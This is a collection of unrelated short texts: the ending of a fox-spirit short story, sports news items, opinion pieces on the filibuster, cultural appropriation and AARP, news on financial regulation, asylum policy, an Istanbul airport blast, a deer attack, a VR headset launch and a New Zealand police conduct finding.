disappoint them now. Silence, they agreed, was the most eloquent weapon. Her silence spoke for millions.  After they had left she sat down in her chair in front of the stove. The white fox shook ash from its paws and stretched out on the rug. The red fox slunk inside, seeking warmth. The old woman let her hand drop, wishing to feel the life-force of pumping blood, the cold press of a canine nose. But they were only ever whispers.  The old woman did not bother to light a lamp. She let the darkness of the night wrap around her. When it was fully dark, she went outside. Something was being stolen, something other than the breath from her lungs or the steady beat of a heart. Aapia looked upon her country and found she did not recognize it. Dizziness took her. The white fox and the red flanked her on either side, sensing her uncertainty. Then she nodded, suddenly resolute. She went inside and got into bed and vowed she would never leave it again.  The fox spirits did their best. They brought her the intestines of rabbits and goose feathers for her thin white hair. They consulted with the terns and the great grey owl. They caught rodents and brewed clumsy pots of labrador tea. Nothing tempted her.  * * *  Days slipped by. The old woman could feel her heart winding down. The cotton grass flowered, but even in the snow-free land she felt a chill that would not abate. The geese brought news; there was a great scar in the land where the mine was being blasted. The town was advancing. Lying in her bed, the old woman’s breathing became shallower and shallower, until one day her chest dipped, and did not rise again.  The two foxes were ready. They worked together, gently lifting the old woman’s spirit from the cage of her body, and up through the roof of her house into the crisp starlit air beyond. They held her tightly, lest she become overwhelmed by the vastness of the celestial world. Then they opened her eyes, and showed her the tundra spread out below. They began to run. Aapia ran with them. She could not believe how light she was, how fleet of foot. She could run faster than when she was a girl. In the distance, she heard something, a familiar sound, beloved. It was the howl of a pack. The old woman ran.  ---  E.J. Swift is the author of Osiris, Cataveiro and Tamaruq, a series set in a world radically altered by climate change, comprising. Her short fiction has appeared in anthologies including The Best British Fantasy and the digital book Strata. Swift was shortlisted for a 2013 BSFA Award for “Saga’s Children” (The Lowest Heaven) and was longlisted for the 2015 Sunday Times EFG Short Story Award for “The Spiders of Stockholm” (Irregularity).  Art by 12 Orchards.
-Robin van Persie and Wayne Rooney have each missed penalties for Manchester United in recent games  Manchester United manager Louis van Gaal has stripped Robin van Persie of penalty duties after Saturday's miss cost his side against West Brom.  Asked if Van Persie would continue as first-choice penalty taker, Van Gaal said: "No. He is now at the end of the road."  "It is always [the same]," he added. "Wayne Rooney has missed also, so when you miss, you are at the bottom again."  West Brom's 1-0 victory was United's third league defeat in succession.  Van Persie struck his penalty firmly but keeper Boaz Myhill saved to his left  Van Persie, 31, had the opportunity to equalise Chris Brunt's 63rd-minute opener from the spot after referee Anthony Taylor ruled Saido Berahino had handled in the box.  But Baggies keeper Boaz Myhill guessed right and palmed the Dutchman's effort to safety, helping West Brom to a second straight win at Old Trafford.
-Filibuster reform is desperately needed, but not the kind of reform that Sen. Harry Reid, D-Nevada, and Sen. Mitch McConnell, R-Ky., are sparring about. What is needed is a return to the filibuster of Senate tradition as depicted by Jimmy Stewart in “Mr. Smith Goes to Washington” — and as so aptly demonstrated this summer by Wendy Davis in the Texas state Senate.  I’m referring to actually talking. The filibuster as structured today in the U.S. Senate has careened so far from that original tradition that it is not even recognizable. Richard A. Arenberg warns against using the “nuclear option” by quoting Lyndon Johnson’s defense of unlimited debate (“Filibuster go boom? Not a smart move,” July 15).  Seriously? What debate? The filibuster has devolved to the point where the minority kills a bill simply by announcing an intention to filibuster. There is no debate.  Until recently, the purpose of the filibuster was to give voice to the minority in a dramatic way. A senator could passionately call attention to his or her position. That was a good thing. Wendy Davis was not able to kill the anti-abortion legislation before the Texas Senate, but she was able to bring it to the attention of the entire nation and to inspire tens of thousands of Texans to raise their voices against it.  So it should be again. It should not be possible to kill a bill by means of filibuster. Senators should be required to hold the floor and talk themselves hoarse in front of the entire nation. (C-SPAN would have a field day.) The effect would be a much-needed two-edged sword, because the people would be watching. A senator who would stand against an unpopular or ill-conceived bill, as Bernie Sanders did, would come out all the more popular — while a senator who dared to block a popular and needed measure such as a jobs bill would only, in the end, subject himself to ridicule.  The Reid-McConnell discussion on “Meet the Press” last Sunday did not even come close to the real problem. Neither has any comment in the newspaper or anywhere else. Reid is pussyfooting around a minuscule change that would merely allow the president to make some appointments, and McConnell is talking about a “tradition” that never existed.  Serious change is needed, and as ironic as it is, that change is not really change at all. It is merely a return to what always was.  David M. Perlman  The writer lives in New Hope.
-Image copyright EVN Image caption Emergency staff were seen inspecting the plane after the blast  An explosion on the tarmac at Sabiha Gokcen airport in the Turkish city of Istanbul has killed a female cleaner.  The woman who died was working on a Pegasus airlines plane overnight when the blast took place. A colleague who was with her was wounded.  The cause of the explosion is under investigation, the airport says.  Armed police imposed tight security at the airport's entrance, Turkish media report, but flights appear to be running normally.  The woman killed, 30-year-old Zeyhra Yamac, died of head injuries.  No passengers were on the plane or nearby at the time, Pegasus said in a statement.  It said the explosion had happened at 02:05 (00:05 GMT) on Wednesday. Although the cause of the blast was unknown, police were investigating whether it was a bomb, Dogan news agency reports.  Fragments from the blast damaged five other planes, Turkish Transport Minister Binali Yildirim said.  "[A] weakness in the airport's security is out of the question," he added.  Some witnesses claimed to have heard three consecutive explosions.  Located on the Asian facing side of Istanbul, Sabiha Gokcen is the city's second-largest airport after Ataturk airport on the European side of the city.
-Oh, you wacky Internet.  “Hi interwebs! I spent years writing a deeply-researched book that puts the Neopagan movement in a new historical and spiritual context!”  “Yawn,” says the interwebs.  “Hi again! I wrote a piece on theology and ontology that tries to close the gap between atheism and religion. Some cool people have said it’s not bad!”  “Lol wot? Tl;dr.”  “Hey! I took a go at rebutting Plato’s Cave. And argued with a Zen priest about psychedelics in Buddhism. And I wrote a sort of humanistic Pagan funeral ritual.”  “Yawn. Zzzzzz.” The interwebs are all but comatose.  “I think the idea of ‘cultural appropriation’ isn’t a useful way to talk about thorny issues regarding the cross-cultural movement of ideas.”  “***OMG!!!1!*** Everyone look at this! YES! NO! YES!!! NO!!! Agree! Disagree! Shame on you! No, shame on YOU! **** BLOGFIGHT!!! **** Fire up the outrage machine!”    Oh, you wacky Internet.  And thus I find myself in the center of a whirlwind of compliments and insults over that post. I actually got an e-mail this morning from a total stranger saying “I really think people are on a witch hunt here, pun intended…I hope you are holding up well.”  Thanks for the concern, stranger. When faced with baseless accusations (and for my sins, I’ve been in enough Pagan politics to have dealt with them before) I try to remember Dr. McCoy’s excellent reply to some bullshit in the Star Trek episode “Friday’s Child”: “What the Klingon has said is unimportant, and we do not hear his words.”  Two other relevant quotations come to mind:  “This mixture of vagueness and sheer incompetence is the most marked characteristic of modern English prose, and especially of any kind of political writing. As soon as certain topics are raised, the concrete melts into the abstract and no one seems able to think of turns of speech that are not hackneyed: prose consists less and less of words chosen for the sake of their meaning, and more and more of phrases tacked together like the sections of a prefabricated henhouse.” — “Politics and the English Language”, George Orwell  “A person belonging to one of more Order [of Discordia] is just as likely to carry a flag of the counter-establishment as the flag of the establishment–just as long as it is a flag.” — Principia Discordia  Anyway. I guess I ought to say a few words of my own about all this.  But first: anyone who somehow read into that article some justification of bigotry, anyone saying “See? Racism isn’t really a problem!” — you’re being an idiot, and you may please leave now. (Imagine me pointing to a door off to the right somewhere.)  And on the other hand, anyone who thinks it’s acceptable to throw around baseless charges of racism? Anyone who thinks that if someone questions the best way to understand and fight the problem of racism and comes up with a different answer than you, they must be racist? You are also being an idiot, and you may please leave now. (Imagine me pointing to a door off to the left somewhere. Separate exits. Don’t want you running into each other in the Patheos lobby and fighting it out.)  Okay. Now that we’re left only with those interested in an adult conversation (only a handful of us, I fear, but so it goes), perhaps some additional context might help.  I have to admit that I wasn’t writing that post for an audience of tens of thousands of strangers, but assuming my usual 100-300 hits from folks with a nodding acquaintance with my writing. So, mea culpa for maybe not being as complete as I should have been. If you read the post in question, you noticed a reference to “the broken idea of ‘intellectual property'” and a link that…yeah, you probably didn’t click, and so I might have given some clarity by summarizing it.  The founder of the “Free Software” movement, Richard M. Stallman, has written how the idea of “intellectual property” is “distorting and confusing”:  It has become fashionable to toss copyright, patents, and trademarks—three separate and different entities involving three separate and different sets of laws—plus a dozen other laws into one pot and call it “intellectual property”. The distorting and confusing term did not become common by accident. Companies that gain from the confusion promoted it. The clearest way out of the confusion is to reject the term entirely. … The term “intellectual property” is at best a catch-all to lump together disparate laws. Nonlawyers who hear one term applied to these various laws tend to assume they are based on a common principle and function similarly. Nothing could be further from the case. These laws originated separately, evolved differently, cover different activities, have different rules, and raise different public policy issues.  This idea is fairly well-known the tech and free culture communities. And you won’t just find it on TechDirt and in the IEEE’s collection of papers; famed film director Jean-Luc Godard has said that “intellectual property” does not exist.  There is copyright, there are patents, there are trademarks, but they are distinct things. There is not a valid and useful merelogical sum, no separate and more general phenomenon “intellectual property”, even though that term is in wide political use. The term carries inaccurate (or at least very questionable) assumptions about the specific cases involved, and using it causes us to take on those assumptions and so distorts our thinking. We’d be well-served to drop it and use only the more specific terms so that we can think more clearly about the issues involved.  And as I watched another thread of poorly-informed vitriol against white folks with dreadlocks go by, and tried to separate legitimate complaints about racism and colonialism from valuable cross-cultural exchanges from pointless or silly complaints about other people’s personal choices, it struck me that there was a parallelism to Stallman’s argument.  There is misrepresentation of other cultures, there is plagiarism, and there is insult — let’s call this the “MPI model”. We can empirically observe unquestionable instances of each of these. But there is not a valid and useful merelogical sum, no separate and more general phenomenon “cultural appropriation”, even though that term is in wide political use. The term carries inaccurate (or at least very questionable) assumptions about the specific cases involved, and using it causes us to take on those assumptions and so distorts our thinking. We’d be well-served to drop it and use only the more specific terms so that we can think more clearly about the issues involved.  And that’s the idea at the heart of the post that launched a thousand social media shares.  You may, of course, disagree in part or in whole with this conclusion. You can argue that I’ve made an error in reasoning, or have overlooked important cases. Heck, you can even call me hardheaded or dim-witted and I won’t call that out-of-bounds in a spirited debate.  But if you’re leveling charges of racism over it, as some are, that is so baseless that it strongly suggests that your interest isn’t entirely about fighting racism, but at least in part is about experiencing the warm glow of self-righteousness — even as you damage the cause you say you’re fighting for.  There have been far more comments and replies than I’ve been able to keep up with. I will try over the next few days to dig through and see what valid criticisms and questions have been raised. But there are two points I’d like to make now.  First, putting aside the ontological question as to the existence of “cultural appropriation”, this flamewar is evidence that it’s not a rhetorically useful construct. If you want to change people’s behaviors and opinions you have to communicate in a common language, and this brouhaha shows that “cultural appropriation” is not part of that language. Even among those championing the idea that the concept is useful I see significant differences in claims about just what it’s supposed to mean.  If we want to speak about against misrepresentation of other cultures, plagiarism and failure to credit, and insults, it would be more effective to speak specifically in well-understood terms than to tell someone, “I can explain your sin to you after you go read this article.”  Second, a few folks have pointed up the issue of unequal power. While I used the examples of colonial powers misrepresenting colonized peoples and of music publishers exploiting African-American musicians in the early 20th century, examples where there was obviously unequal power, I wasn’t explicit about that dynamic.  So let me state it more clearly: cross-cultural misrepresentation, plagiarism, and insults are problems mostly when the perpetrator is in a position of power. In the U.S. that usually means a white perpetrator. (If we looked long enough I’m sure we could find a handful of exceptions and edge cases, but the general rule holds.)  But — to bring it back to the case that started this all — a person styling their hair into matted locks is not thereby exercising power over anyone. It’s very much an example of “my body, my choice”.  There are some interesting power dynamics around hair. People may have to choose their hairstyle to deal with others exercising socio-economic or political power over them, from African-American woman feeling forced to straighten their hair to Japanese boys legally forced to cut off their top-knots in the Meiji restoration. We see kids getting suspended from schools for having the wrong haircut; we see Chelsea Manning being forced to adhere to hair standards for male prisoners (and I would assume she is not the only trans woman to be so treated); we see Sikh and Rastafarian prisoners being forcibly shorn of their locks.  And that’s bad and sad. But telling someone that they can’t style their hair in a certain way because “cultural appropriation! Shame on you!” doesn’t make any of those people more free.  If you’ve decided that rather than calling for my head on a pike you’d like to keep reading my posts, you can keep up with “The Zen Pagan” by subscribing via RSS or e-mail.  If you do Facebook, you might choose to join a group on “Zen Paganism” I’ve set up there. And don’t forget to “like” Patheos Pagan and/or The Zen Pagan over there,  too.  Postscript: For a fuller reply to the controversy, please see The Cultural Appropriation Controversy: A Summary Reply.
-The administration already has hammered out a number of compromises with key Democrats in Congress, in hopes of creating a proposal that can survive the challenge from competing interests such as hedge funds hoping to avoid regulation and consumer groups seeking even greater protections. But while the proposals sharpen the discussion about reform, they don't end it.  "With their proposals today, the administration has moved this critical debate from broad discussion to specific action," said Timothy Ryan of the Securities Industry and Financial Markets Association.  The administration's plan leans heavily on the Fed, expanding its role as the regulator of the nation's largest banks such as J.P. Morgan Chase and Goldman Sachs to include other giant financial firms, such as the insurance companies American International Group and MetLife. The agency, which has greater independence from the political process than other regulators, would have broad authority to impose special requirements on those companies, such as mandating that they set aside a larger percentage of their assets against possible losses than smaller firms. Such a requirement could limit large companies' appetite for risk, but also their profit and growth.  The plan calls for a council of regulators to consult with the Fed, including the Treasury secretary and the heads of the other financial regulatory agencies: The Securities and Exchange Commission, Commodity Futures Trading Commission, the Federal Housing Finance Agency and the agencies that regulate banks. A primary task of the council would be to recommend which large, globally interconnected firms are too big to fail and should be subject to more rigorous oversight. But the council will not have the authority to oppose decisions made by the central bank.  Agencies other than the Fed pressed for the creation of such a council, but its limited role is likely to disappoint them. Prominent Democrats and Republicans in Congress also have signaled that they are reluctant to increase the Fed's powers without imposing stronger limitations.  A second element likely to provoke fierce debate is the establishment of a Consumer Financial Protection Agency.  The agency would have broad authority to overhaul a tangled mess of federal regulations, such as the various laws that compel lenders to give mortgage borrowers a massive stack of paperwork at closing that includes several calculations of the true cost of the loan itself.  "Consumers should have clear disclosure regarding the consequences of their financial decisions," the plan states.  The agency also would have the authority to change the way that loans are sold. One idea highlighted by the administration is to require that lenders offer all customers standard "plain vanilla" loans, such as 30-year, fixed-rate mortgages with streamlined pricing. The sale of loans with more complicated terms would be subjected to greater scrutiny by the agency. It could even require that customers who take more complicated loans sign a waiver.  And the agency would have a mandate to increase the availability of financial products in lower-income communities and other underserved areas, in part by enforcing the Community Reinvestment Act, which requires banks to make loans everywhere that they collect deposits.  To carry out these responsibilities, the agency would be granted the same powers as the regulators charged with keeping banks healthy, including the ability to write rules, conduct examinations, and impose fines and other penalties.  Regulatory agencies and industry groups acknowledge failures in recent years. But they say the existing model remains the best way to protect consumers, arguing that the agencies can identify problems more easily because of their close engagement with firms. They also are concerned that a consumer agency could be overly restrictive, limiting access to loans and constraining the development of new types of accounts, loans and other financial services.  "This consumer protection agency would be deciding how people get to live as opposed to people getting to decide for themselves," said Kelly King, chief executive of BB&T, a large commercial bank based in North Carolina.  Consumer advocates say the current financial crisis is ample evidence of the need for a new approach.  "We've tried it the other way for years, and obviously it didn't work. That's how we got here," said John Taylor of the National Community Reinvestment Coalition.  Several ideas have been dropped as the administration picks its battles. The plan will not include a new way of regulating insurance companies at the federal level. The insurance industry, which is regulated at the state level, is deeply divided, and the White House anticipated a distracting fight. The administration instead plans to create an office in the Treasury Department to monitor the insurance industry.  Some of the largest insurance companies could still fall under the scrutiny of the Federal Reserve in its new role as a systemic risk regulator.  The administration had earlier backed away from a proposal to merge the two agencies that oversee financial markets, and to merge the four agencies that regulate banks. It still will seek to merge the Office of Thrift Supervision and the Office of the Comptroller of the Currency to create a single agency to oversee banks with national charters. It also will propose eliminating the regulatory category for thrifts, traditionally defined as banks that focus on mortgage lending.  Steve Adamske, spokesman for the House Financial Services Committee, said committee Chairman Rep. Barney Frank (D-Mass.) plans to launch hearings on the specific proposals next week, and to hold votes on pieces of the legislation as soon as July.  "We've been waiting for this for a long time," Adamske said.  The Senate is not expected to begin work on the reforms until fall.  Staff writers Brady Dennis and Zachary A. Goldfarb contributed to this report.
-THE Scottish Government would financially support failed asylum seekers if Scotland was handed control over immigration, social justice secretary Alex Neil has said.  Mr Neil attacked the UK government’s proposal to cut financial support for those who are refused asylum in the UK, saying it will leave traumatised men, women and children “destitute”.  Many people are simply unable to return to their home country  In a letter to UK government immigration minister James Brokenshire, Mr Neil said: “The proposals will cut support to some of the most vulnerable people in our society, who only receive that support because they would otherwise be destitute.  “The Scottish Government believes that the proposals, which seem designed to shift responsibility and cost onto other bodies, particularly local authorities, are wrong in principle.  “It is highly unlikely they will achieve their objective, and they will fundamentally undermine our efforts to create a fairer Scotland.”  Going to the Edinburgh Festival? Find out which shows to see on our dedicated site >>  He added: “Destitution should never be an outcome of the asylum system.  “When we talk about asylum seekers, we are not talking about objects.  “We are first and foremost talking about vulnerable people, families, men, women and their children – people who have often been through great trauma and who deserve to be treated fairly and equally and with dignity and respect.” Mr Neil pointed to a previous pilot project which tried to stop support for families who had reached the end of the asylum process and criticised the timing of the consultation on the proposals.  The Scottish Government has said that if it had control over immigration it would adopt a more “humane approach” to asylum seekers and refugees.  Mr Neil said: “We strongly believe that those refused asylum for whatever reason should be treated with fairness and compassion. We will continue to do all we can to campaign against these unfair and inhumane proposals.”  Gary Christie, head of policy and communications at the Scottish Refugee Council, said: “This attack on those whose claims are turned down, including many families already on the breadline, is unfair and dangerous.  “It is unfair because thousands of Home Office decisions on people’s asylum claims later turn out to be incorrect.  “We know that around 30 per cent of appeals against refusals are successful, a huge figure that affects many individuals and families.  “It is also unfair because many people are simply unable to return to their home country. They may be expected to return to a war zone or to a country whose government refuses to accept them.”  Mr Christie added: “The proposal is dangerous as it will force people into abject destitution, leaving them exposed to an increased risk of violence and exploitation on the streets.”
-AARP has literally made billions of dollars by imposing its own ‘tax’ on seniors buying health insurance policies, not to mention denying care to individuals with disabilities.  Over the past few weeks, AARP—an organization that purportedly advocates on behalf of seniors—has been running advertisements claiming that the House health-care bill would impose an “age tax” on seniors by allowing for greater variation in premiums. It knows of which it speaks: AARP has literally made billions of dollars by imposing its own “tax” on seniors buying health insurance policies, not to mention denying care to individuals with disabilities.  While the public may think of AARP as a membership organization that advocates for liberal causes or gives seniors discounts at restaurants and hotels, most of its money comes from selling the AARP name. In 2015, the organization received nearly three times as much revenue from “royalty fees” than it did from member dues. Most of those royalty fees come from selling insurance products issued by UnitedHealthGroup.  Only We Can Profit On the Elderly  As documented on its tax returns and in congressional oversight reports, AARP royalty fees from UnitedHealthGroup come largely from the sale of Medigap supplemental insurance plans. As the House Ways and Means Committee noted in 2011, while AARP receives a flat-sum licensing fee for branding its Medicare Advantage plans, the organization has a much sweeter deal with respect to Medigap: “State insurance rate filings show that, in 2010, AARP retained 4.95% of seniors’ premiums for every Medigap policy sold under its name. Therefore, the more seniors enroll in the AARP-branded Medigap plan, the more money AARP receives from United.”  So in the sale of Medigap plans, AARP imposes—you guessed it!—a 4.95 percent age tax on seniors. AARP not only makes more money the more people enroll in its Medigap plans, it makes more money if individuals buy more expensive insurance.  Even worse, AARP refused good governance practices that would disclose the existence of that tax to seniors at the time they apply for Medigap insurance. While working for Sen. Jim DeMint in 2012, I helped write a letter to AARP that referenced the National Association of Insurance Commissioners’ Producer Model Licensing Act.  Specifically, Section 18 of that act recommends that states require explicit disclosure to consumers of percentage-based compensation arrangements at the time of sale, due to the potential for abuse. DeMint’s letter asked AARP to “outline the steps [it] has taken to ensure that your Medigap percentage-based compensation model is in full compliance with the letter and spirit of” those requirements. AARP never gave a substantive reply to this congressional oversight request.  Don’t Screw With Obamacare, It’s Making Us Billions  AARP’s silence might stem from the fact that its hidden taxes have made the organization billions. Between 2010—the year Obamacare was signed into law—and 2015, the most recent year for which financial information is available, AARP received $2.96 billion in “royalty fees” from UnitedHealthGroup. During that same period, AARP made an additional $195.6 million in investment income from its grantor trust.  Essentially, AARP makes money off other people’s money—perhaps receiving insurance premium payments on the 1st of the month, transferring them to UnitedHealth or its other insurance affiliates on the 15th of the month, and pocketing the interest accrued over the intervening two weeks. That’s nearly $3.2 billion in profit over six years, just from selling insurance plans. AARP received much of that $3.2 billion in part because Medigap coverage received multiple exemptions in Obamacare. The law exempted Medigap plans from the health insurer tax, and medical loss ratio requirements.  Most importantly, Medigap plans are exempt from the law’s myriad insurance regulations, including Obamacare’s pre-existing condition exclusions—which means AARP can continue its prior practice of imposing waiting periods on Medigap applicants. You read that right: Not only did Obamacare not end the denial of care for pre-existing conditions, the law allowed AARP to continue to deny care for individuals with disabilities, as insurers can and do reject Medigap applications when individuals qualify for Medicare early due to a disability.  The Obama administration helped AARP in other important ways. Regulators at the Department of Health and Human Services (HHS) exempted Medigap policies from insurance rate review of “excessive” premium increases, an exemption that particularly benefited AARP. Because the organization imposes its 4.95 percent “age tax” on individuals applying for coverage, AARP has a clear financial incentive to raise premiums, sell seniors more insurance than they require, and sell seniors policies that they don’t need. Yet rather than addressing these inherent conflicts, HHS decided to look the other way and allow AARP to continue its shady practices.  The Cronyism Stinks to High Heaven  Obama administration officials not only did not scrutinize AARP’s insurance abuses, they praised the organization as a model corporate citizen. Then-HHS Secretary Kathleen Sebelius, when speaking to its 2010 convention, called AARP the “gold standard” in providing seniors with “accurate information”—even though the organization declined requests to disclose the conflicts arising from its percentage-based Medigap “royalties.” However, Sebelius’ tone is perhaps not surprising from an administration whose officials plotted with AARP executives to enact Obamacare over AARP members’ strong objections.  AARP will claim in its defense that it’s not an insurance company, which is true. Insurance companies must risk capital to pay claims, and face losses if claims exceed premiums charged. By contrast, AARP need never risk one dime. It can just sit back, license its brand, and watch the profits roll in. Its $561.9 million received from UnitedHealthGroup in 2015 exceeded the profits of many large insurers that year, including multi-billion dollar carriers like Centene, Health Net, and Molina Healthcare.  But if the AARP now suddenly cares about “taxing” the aged so much, Washington should grant them their wish. The Trump administration and Congress should investigate and crack down on AARP’s insurance shenanigans. Congress should subpoena Sebelius and Sylvia Mathews Burwell, her successor, and ask why each turned a blind eye to its sordid business practices. HHS should write to state insurance commissioners, and ask them to enforce existing best practices that require greater disclosure from entities (like AARP) operating on a percentage-based commission.  And both Congress and the administration should ask why, if AARP cares about its members as much as it claims, the organization somehow “forgot” to lobby for Medigap reforms—not just prior to Obamacare’s passage, but now. AARP’s fourth quarter lobbying report showed that the organization contacted Congress on 77 separate bills, including issues as minor as the cost of lifetime National Parks passes, yet failed to discuss Medigap reform at all.  Given that AARP made more than $3 billion in profits from the status quo—denying care to individuals with pre-existing conditions, and earning more money by generating more, and higher, premiums—its silence makes sense on one level. But if AARP really wants to make insurance markets fair, and stop “taxing” the aged, all it has to do is look in the mirror.
-'I was lucky to live through this' man said after being gored by shot animal.  Bobby Neames of Clinton, La., said he was fighting for his life when a large whitetail buck attacked him on Christmas Eve in 2013. (Photo: Provided to The Jackson, Miss., Clarion-Ledger) Story Highlights Bobby Neames shot the deer in the neck and went to check on it after hearing it crash in the woods  The deer, with a gun wound in it neck, lunged at Neames and his antler lodged in the hunter's thigh  Hunting experts hadn't heard of such a vicious attack by a wounded deer  The hunter became the hunted when a Clinton, La., man was attacked by a massive deer he had wounded on his property.  According to Bayou Bucks magazine, Bobby Neames was airlifted to a Baton Rouge hospital and nearly bled to death after the buck gored him through his left thigh on Christmas Eve.  Neames, a veteran hunter who also hunts near Brookhaven, told Bayou Bucks that when he arrived at his deer stand overlooking a shooting lane, he saw a large buck standing near the end that he had captured images of on his trail cameras. Neames then set up for the shot and sent a bullet downrange, striking the deer in the neck. The deer ran into the woods, and Neames said he heard it crash shortly after.  Neames began trailing the animal about 15 minutes later and didn't get far before he found it. It was still alive and only feet away.  Neames said the deer was facing him and had a gaping wound in its neck. When their eyes met, the hunter became the prey.  "It happened so fast. I was 20 feet away when he lunged up from a squatted position, and within one-tenth of a second, he'd hit me," Neames said.  With an antler lodged in Neames' thigh, the buck tossed him to the ground about 8 feet away. "I knew I was in trouble then," Neames said. "Before I could even get to my feet, he was down on me attacking me again.  "I was lucky enough to grab his horns when he come down on me because he's just trying to ram them through my chest. I knew I had to protect my heart and lung area and my face."  As the struggle continued, Neames' rifle strap became entangled in the buck's antlers and to make matters worse, it was loaded with the safety off.  "I got to worrying then, thinking maybe the gun was going to go off," Neames said. "The deer ain't going to kill me, but the gun's going to go off and kill me."  After several more charges, Neames said, the deer gave pause long enough for him to regain composure and on the next charge, he took control.  "When he come at me one time, I twisted his neck trying to choke him or do anything — just trying to get him off — and he actually did a complete flip over me and his horns stuck in the ground, in the dirt, for just a few seconds," Neames said.  That was the break Neames needed to put some distance between himself and the would-be killer, which looked back at him then ran into the woods toting Neames' rifle.  While the rifle was later found by Neames' son, it was the last anyone would see of the buck.  Soaked in blood, Neames struggled to walk the 400 yards to his home. From there, he was flown to Baton Rouge and underwent surgery. Neames said he had more than 13 inches of tears in his flesh from the buck's antlers that took 25 staples and an unknown number of stitches to close.  The Louisiana Department of Wildlife and Fisheries could not be reached for comment, but Lann Wilf, deer program leader for the Mississippi Department of Wildlife, Fisheries and Parks said, "I've heard stories about wounded deer attacking hunters forever, since I was a kid."  While he has heard those stories, Wilf said few involved injuries. "Most of the stories I've heard about were folks getting chased."  Wilf warned about getting near an injured buck, particularly during the breeding season when they are highly aggressive.  "These bucks are extremely dangerous. Certain individuals are very tenacious," Wilf said. "They are a whole lot stronger than any man."  Jason Aycock, publisher and owner of the Hammond, La.-based Bayou Bucks, said he's never encountered an attack like this either.  "No, I've never heard of anything to this extent before," Aycock said. "I've never heard of a buck trying to outright gore someone with their antlers."  Aycock said that because the deer was wounded and had a high testosterone level, it was a fight-or-flight situation for him when he saw Neames. Because the deer was facing Neames, Aycock said he chose to fight.  While it has been five weeks since Neames suffered the attack, it still haunts him.  "I was lucky to live through this," Neames said. "It was a terrifying experience, and I still have nightmares over it."  Read or Share this story: http://usat.ly/1bGyPgY
-Confirmed to be coming in an update last month, that also saw the head-mounted display (HMD) announce a number of updates including the significant addition of dual screens giving a total resolution of 2160×1200. The Open Source Virtual Reality (OSVR) platform’s Hardware Development Kit 2 (HDK 2) PC-based HMD is now available to order. Razer – one of the biggest names behind the technology – has announced.  Running an 110 degree field-of-view at 90Hz with a shipping date of July 29th and at a cost of $399.99 (USD), £399.99 (GBP) or 499,99€ (EUR) interested parties can, so long as they order before July 28th and whilst stocks last, get both Descent: Underground and Radial G: Racing Revolved as pre-order bonuses.  Descent: Underground is a classic 6-DOF space shooter set in a claustrophobic subterranean world of high speeds and dangerous rocky mazes. Radial G: Racing Revolved on the other hand is a fast-paced futuristic racer that sees you tear up, down and all around an array of gravity-defying racecourses.  For a limited time the Razer store is also offering free shipping to orders over a minimum spend in certain regions, including the US, UK and parts of mainland Europe.  VRFocus will bring you more news and updates on OSVR related projects as we get them.
-Fister, Dirks named Gold Glove finalists  MLB.com/blogs Blocked Unblock Follow Following Oct 25, 2013  By Jason Beck  Rawlings has released its list of three finalists at each position for the Gold Glove awards. The Tigers have two — one probably expected, one probably not.  Doug Fister joins Blue Jays hurlers Mark Buehrle and R.A. Dickey as the Gold Glove finalists at pitcher. Buehrle has dominated this award, winning four in a row (2009–2011 AL, 2012 NL), but his defensive stats took a little bit of a dip this season (TWO errors!!!) on the artificial surface in Toronto. Fister had an errorless season with an AL-best 2.29 Range Factor, and he turned five double plays — tied for most among AL pitchers with Justin Verlander and Lucas Harrell.  In past years, those defensive stats would be relatively meaningless, since the Gold Gloves have been decided exclusively on voting from managers and coaches. This summer, however, Rawlings and SABR announced a Defensive Index statistic derived from Defensive Runs Saved, Ultimate Zone Rating and Runs Effectively Defended, which was sent to managers and coaches as a statistical resource guide to go with the ballots. Of course, there’s no guarantee how much they’ll take stats into account.  The plan, according to Rawlings and SABR, is to also have the SABR Defensive Index complement the judgement by the managers and coaches. The SDI will account for 30 total votes — or approximately 25 percent — of the Rawlings Gold Glove Award selection process, and will be added to the votes from the managers and coaches.  The other Tigers Gold Glove finalist is left fielder Andy Dirks — yes, Dirks. He finished second in Ultimate Zone Rating among AL left fielders with enough innings to qualify (though the leader, Texas’ David Murphy, isn’t among the finalists) and led the group in Range Factor (putouts plus assists per game). He had seven outfield assists and two errors.  The finalists in left include Kansas City’s Alex Gordon, who has won back-to-back Gold Gloves, and Oakland’s Yoenis Cespedes. Gordon had another very good year, and he would seem to be a favorite here.  Among those Tigers who didn’t get consideration this year were shortstop Jose Iglesias, center fielder Austin Jackson and right fielder Torii Hunter. Iglesias, though he certainly had some defensive gems after becoming the Tigers’ everyday shortstop in August, made just 67 starts at short this season. Jackson faced a statistically strong group of AL center fielders and didn’t make the cut statistically (neither did Mike Trout). Hunter tied for the AL lead in assists among right fielders but didn’t rank high on other statistical levels.  The Gold Glove winners will be announced Tuesday night at 8pm ET on ESPN2.
-A Tauranga Police officer has been subject to disciplinary proceedings following the release of an Independent Police Conduct Authority (IPCA) report which found the officer had used excessive force on a 14 year old boy.  Two Ambulance Officers filed the complaint claiming the Police used excessive force on the boy while trying to restrain him.  According to the statement released by the IPCA, “on 25 August 2013 Police were notified that a 14-year-old boy had run away from Tauranga hospital. This was the second time the boy had run from the hospital that evening after he was admitted earlier that day following a suicide attempt that had caused injury to his wrist. The same Police officers who had located the boy earlier in the day were assigned to find him a second time. Just before 8pm the officers found the boy collapsed on Cameron Road. As a precaution they called an ambulance so the boy could be assessed before he was taken back to hospital. The two ambulance officers arrived and the Police officers accompanied the boy into the back of the ambulance for treatment. The ambulance officers complained to the Authority that excessive force was used by Police in restraining the boy.”  Independent Police Conduct Authority Chair, Judge Sir David Carruthers said, “under the Mental Health Act the officers were justified in apprehending and detaining the boy. However, the actions of one of the Police officers escalated an already volatile situation and did not accord with good policing practice.”  According to the statement, the Authority noted that as a result of the Police investigation into this incident, the officer involved has been subject to disciplinary proceedings. However, due to the conflicting evidence the high threshold required for criminal prosecution was not met in this case.
